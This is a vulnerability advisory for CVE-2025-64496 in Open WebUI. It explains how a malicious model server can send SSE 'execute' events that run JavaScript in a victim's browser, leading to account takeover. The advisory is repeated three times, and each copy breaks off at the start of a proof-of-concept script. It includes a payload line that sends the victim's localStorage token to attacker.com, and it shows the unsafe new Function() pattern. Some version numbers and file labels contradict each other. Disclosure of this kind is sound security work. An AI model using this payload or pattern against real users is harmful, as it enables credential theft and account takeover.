CVE-2025-64496

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.

Summary

Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.

Details

ROOT CAUSE ANALYSIS:

Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.

VULNERABLE COMPONENT: Frontend SSE Event Handler

The frontend JavaScript code processes SSE events from external servers and specifically handles an execute event type that triggers arbitrary JavaScript execution:

// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }

VULNERABILITY DETAILS:

1. No validation of external server trustworthiness
2. No allowlist of trusted model providers
3. No event type whitelisting or filtering
4. Direct execution of code from execute events using new Function()
5. No sandboxing or Content Security Policy enforcement
6. Full browser context access (localStorage, cookies, DOM)

ATTACK VECTOR:

1. Attacker deploys malicious OpenAI-compatible API server

2. Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"

3. Victim enables Direct Connections (Admin Settings → Connections) <img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />

4. Victim adds attacker's URL as external connection

5. Victim sends ANY message to the malicious model

6. Malicious server responds with SSE stream including:

   data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}

7. Frontend executes the malicious code via new Function()

8. JWT token exfiltrated to attacker's server

9. Token is valid permanently (expires_at: null)

EXPLOITATION EVIDENCE:

Tested on Open WebUI v0.6.33 (2025-10-08):

• Token successfully captured in < ~5 seconds
• Admin token obtained with full privileges
• Token format: JWT stored in localStorage
• Token validation confirmed via /api/v1/users/user/info](http://localhost:3000/api/v1/auths/

CWE CLASSIFICATIONS:

Primary:

• CWE-829: Inclusion of Functionality from Untrusted Control Sphere
• CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code

Secondary:

• CWE-830: Inclusion of Web Functionality from an Untrusted Source
• CWE-501: Trust Boundary Violation
• CWE-522: Insufficiently Protected Credentials (token in localStorage)

CHAINED IMPACT:

When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).

PoC

PROOF OF CONCEPT - COMPLETE REPRODUCTION

PREREQUISITES:

• Open WebUI v0.6.33 running (tested version)
• Node.js v18+ for malicious server
• Python 3.8+ for token listener

ENVIRONMENT SETUP:

For Docker deployment: Clone the repository Open WebUI v0.6.33 and run docker compose up

EXPLOITATION STEPS:

Step 1: Create Malicious Model Server (malicious-server.js)

#!/usr/bin/env python3
"""
Open WebUI - Automated Token Capture to RCE
============================================
ALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE

This script demonstrates how quickly an attacker can go from
token theft to full server compromise.

Usage:
    python3 auto_exploit.py                    # Auto RCE…

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Versions 0.6.224 and prior contain a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. This issue is fixed in version 0.6.35.

Summary

Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.

Details

ROOT CAUSE ANALYSIS:

Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.

VULNERABLE COMPONENT: Frontend SSE Event Handler

The frontend JavaScript code processes SSE events from external servers and specifically handles an execute event type that triggers arbitrary JavaScript execution:

// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }

VULNERABILITY DETAILS:

1. No validation of external server trustworthiness
2. No allowlist of trusted model providers
3. No event type whitelisting or filtering
4. Direct execution of code from execute events using new Function()
5. No sandboxing or Content Security Policy enforcement
6. Full browser context access (localStorage, cookies, DOM)

ATTACK VECTOR:

1. Attacker deploys malicious OpenAI-compatible API server

2. Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"

3. Victim enables Direct Connections (Admin Settings → Connections) <img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />

4. Victim adds attacker's URL as external connection

5. Victim sends ANY message to the malicious model

6. Malicious server responds with SSE stream including:

   data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}

7. Frontend executes the malicious code via new Function()

8. JWT token exfiltrated to attacker's server

9. Token is valid permanently (expires_at: null)

EXPLOITATION EVIDENCE:

Tested on Open WebUI v0.6.33 (2025-10-08):

• Token successfully captured in < ~5 seconds
• Admin token obtained with full privileges
• Token format: JWT stored in localStorage
• Token validation confirmed via /api/v1/users/user/info](http://localhost:3000/api/v1/auths/

CWE CLASSIFICATIONS:

Primary:

• CWE-829: Inclusion of Functionality from Untrusted Control Sphere
• CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code

Secondary:

• CWE-830: Inclusion of Web Functionality from an Untrusted Source
• CWE-501: Trust Boundary Violation
• CWE-522: Insufficiently Protected Credentials (token in localStorage)

CHAINED IMPACT:

When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).

PoC

PROOF OF CONCEPT - COMPLETE REPRODUCTION

PREREQUISITES:

• Open WebUI v0.6.33 running (tested version)
• Node.js v18+ for malicious server
• Python 3.8+ for token listener

ENVIRONMENT SETUP:

For Docker deployment: Clone the repository Open WebUI v0.6.33 and run docker compose up

EXPLOITATION STEPS:

Step 1: Create Malicious Model Server (malicious-server.js)

#!/usr/bin/env python3
"""
Open WebUI - Automated Token Capture to RCE
============================================
ALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE

This script demonstrates how quickly an attacker can go from
token theft to full server compromise.

Usage:
    python3 auto_exploit.py                    # Auto RCE…

Summary

Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) execute events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users.

Details

ROOT CAUSE ANALYSIS:

Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit.

VULNERABLE COMPONENT: Frontend SSE Event Handler

The frontend JavaScript code processes SSE events from external servers and specifically handles an execute event type that triggers arbitrary JavaScript execution:

// Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); }

VULNERABILITY DETAILS:

1. No validation of external server trustworthiness
2. No allowlist of trusted model providers
3. No event type whitelisting or filtering
4. Direct execution of code from execute events using new Function()
5. No sandboxing or Content Security Policy enforcement
6. Full browser context access (localStorage, cookies, DOM)

ATTACK VECTOR:

1. Attacker deploys malicious OpenAI-compatible API server

2. Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000"

3. Victim enables Direct Connections (Admin Settings → Connections) <img width="3466" height="2232" alt="CleanShot 2025-10-10 at 10 41 57@2x" src="https://github.com/user-attachments/assets/910f8c49-12ee-4ff7-8e75-6dcc139ab002" />

4. Victim adds attacker's URL as external connection

5. Victim sends ANY message to the malicious model

6. Malicious server responds with SSE stream including:

   data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}

7. Frontend executes the malicious code via new Function()

8. JWT token exfiltrated to attacker's server

9. Token is valid permanently (expires_at: null)

EXPLOITATION EVIDENCE:

Tested on Open WebUI v0.6.33 (2025-10-08):

• Token successfully captured in < ~5 seconds
• Admin token obtained with full privileges
• Token format: JWT stored in localStorage
• Token validation confirmed via /api/v1/users/user/info](http://localhost:3000/api/v1/auths/

CWE CLASSIFICATIONS:

Primary:

• CWE-829: Inclusion of Functionality from Untrusted Control Sphere
• CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code

Secondary:

• CWE-830: Inclusion of Web Functionality from an Untrusted Source
• CWE-501: Trust Boundary Violation
• CWE-522: Insufficiently Protected Credentials (token in localStorage)

CHAINED IMPACT:

When admin token is stolen, attacker can exploit Functions API to achieve RCE on backend server (see separate report for Functions/Tools vulnerability).

PoC

PROOF OF CONCEPT - COMPLETE REPRODUCTION

PREREQUISITES:

• Open WebUI v0.6.33 running (tested version)
• Node.js v18+ for malicious server
• Python 3.8+ for token listener

ENVIRONMENT SETUP:

For Docker deployment: Clone the repository Open WebUI v0.6.33 and run docker compose up

EXPLOITATION STEPS:

Step 1: Create Malicious Model Server (malicious-server.js)

#!/usr/bin/env python3
"""
Open WebUI - Automated Token Capture to RCE
============================================
ALL-IN-ONE EXPLOIT - Captures token and immediately achieves RCE

This script demonstrates how quickly an attacker can go from
token theft to full server compromise.

Usage:
    python3 auto_exploit.py                    # Auto RCE…